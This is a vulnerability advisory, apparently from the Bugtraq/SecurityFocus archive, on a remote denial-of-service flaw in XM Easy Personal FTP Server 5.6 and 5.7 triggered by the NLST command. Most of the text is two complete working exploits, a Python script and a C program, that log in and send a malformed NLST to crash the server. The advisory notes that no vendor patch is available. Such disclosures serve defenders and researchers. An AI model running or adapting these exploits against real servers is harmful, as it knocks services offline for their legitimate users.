XM Easy Personal FTP Server 'NLST' Command Remote Denial of Service Vulnerability
-\\Bugtraq ID: 31739
-\\Class: Unknown
-\\CVE:
-\\Remote: Yes
-\\Local: No
-\\Published: Oct 13 2008 12:00AM
-\\Updated: Mar 30 2009 07:26PM
-\\Credit: shinnai
-\\Vulnerable: dxmsoft XM Easy Personal FTP Server 5.7 dxmsoft XM Easy Personal FTP Server 5.6
-\\Discussion XM Easy Personal FTP Server is prone to a remote denial-of-service vulnerability.
This issue allows remote attackers to crash affected FTP servers, denying service to legitimate users.
XM Easy Personal FTP Server 5.6.0 and 5.70 are vulnerable; other versions may also be affected.
-\\Exploit(s)/PoC(s): Attackers may use readily available network utilities to exploit this issue.
The following exploits are available:
=============================================================== 31739.py ^^^^^^^^^ print "--------------------------------------------------------------" print "# XM Easy Personal FTP Server 5.6.0 Remote Denial of Service" print "# url: http://www.dxm2008.com/" print "# author: shinnai" print "# mail: shinnai[at]autistici[dot]org" print "# site: http://www.shinnai.net" print "--------------------------------------------------------------"
import socket import time
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: conn = s.connect(("127.0.0.1",21)) d = s.recv(1024) print "Server <- " + d time.sleep(2)
s.send('USER test\r\n') print "Client -> USER: test" d = s.recv(1024) print "Server <- " + d time.sleep(2)
s.send('PASS test\r\n') print "Client -> PASS: test" d = s.recv(1024) print "Server <- " + d time.sleep(2)
s.send('NLST -1\r\n') print "Client -> NSLT: -1" d = s.recv(1024) print "Server <- " + d time.sleep(2) except: print "- Unable to connect. exiting."
=============================================================== 31739-Salwan.c ^^^^^^^^^^^^^^^ /* XM Easy Personnal FTP Server <= 5.7.0 Remote Denial of Service with Request (NLST)
------------------------------------------------------------------------- The vulnerability is caused due to an error in handling the NLST command. This can be exploited to crash the FTP service by sending the "NLST" with NULL argument. -------------------------------------------------------------------------
Author: Jonathan Salwan Mail : submit [AT] shell-storm.org Web : http://www.shell-storm.org */
#include "stdio.h" #include "unistd.h" #include "stdlib.h" #include "sys/types.h" #include "sys/socket.h" #include "netinet/in.h"
int syntax(char *file) { fprintf(stderr,"XM Easy Personnal FTP Server <= 5.7.0\n"); fprintf(stderr,"=>Syntax : <%s> <ip> <port> <login> <passwd>\n",file); fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 password1\n",file); exit(0); }
int main(int argc, char **argv) { if (argc < 4) syntax(argv[0]); int port = atoi(argv[2]);
int mysocket; int mysocket2; int srv_connect; int sockaddr_long;
struct sockaddr_in sockaddr_mysocket; sockaddr_long = sizeof(sockaddr_mysocket); sockaddr_mysocket.sin_family = AF_INET; sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]); sockaddr_mysocket.sin_port = htons(port);
char request[50]; char answer[200];
fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);
mysocket2 = socket(AF_INET, SOCK_STREAM, 0); if(mysocket2 == -1){ fprintf(stderr,"[-]FAILED SOCKET\n"); return 1;}
srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long); if (srv_connect != -1) {
memset(answer,0,200); recv(mysocket2,answer,sizeof(answer),0);
sprintf(request, "USER %s\r\n", argv[3]); if (send(mysocket2,request,strlen(request),0) == -1){ fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n"); shutdown(mysocket2,1); return 1;} else{ memset(answer,0,200); recv(mysocket2,answer,sizeof(answer),0); } sprintf(request, "PASS %s\r\n", argv[4]); if (send(mysocket2,request,strlen(request),0) == -1){ fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n"); shutdown(mysocket2,1); return 1;} else{ memset(answer,0,200); recv(mysocket2,answer,sizeof(answer),0); } sprintf(request, "NLST\r\n"); if (send(mysocket2,request,strlen(request),0) == -1){ fprintf(stderr,"[-]Send Request NLST\t\t[FAILED]\n"); shutdown(mysocket2,1); return 1;} } else{ fprintf(stderr,"[-]Connect\t\t[FAILED]\n"); shutdown(mysocket2,1); return 1;}
shutdown(mysocket2,1);
fprintf(stdout,"[+]Done! %s has been Crashed\n", argv[1]); return 0; }
-\\Solution Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at:
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
.
-\\References(s) --XM Easy Personal FTP Server Home Page http://www.dxm2008.com (dxmsoft)
|